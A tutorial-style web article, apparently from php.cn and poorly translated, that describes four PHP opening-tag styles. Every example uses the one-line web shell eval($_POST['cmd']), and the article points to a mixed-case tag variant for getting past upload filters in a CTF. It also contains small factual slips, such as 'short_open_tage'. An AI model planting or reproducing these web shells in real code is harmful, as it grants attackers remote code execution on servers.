What are the logos of PHP?

藏色散人
Release: 2023-02-28 07:52:01
Original
3509 people have browsed it

What are the logos of PHP?

What are the logos of PHP?

PHP four markup styles

1.XML style

<?php
eval($_POST[&#39;cmd&#39;]); 
 ?>
Copy after login

The markup style recommended by php.

Server administrators cannot disable it, and this style can be used on all servers.

2. Script style

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>
Copy after login

It is enabled by default and cannot be disabled

The author once encountered a CTF question that required uploading a shell, but the file content was filtered.

<script language="PhP">
    eval($_POST[&#39;cmd&#39;]);
</script>
Copy after login

3. Short style

<? 
    eval($_POST[&#39;cmd&#39;]);
?>
Copy after login

This style needs to be in the configuration file php.ini Enable the short_open_tage option in

This style is not supported by default in many environments

4.ASP style

<% 
    eval($_POST[&#39;cmd&#39;]);
%>
Copy after login

This style needs to be in the configuration file php.ini Enable asp_tag option

It is disabled by default

For more PHP related knowledge, please visitPHP Chinese website!

The above is the detailed content of What are the logos of PHP?. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
php
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template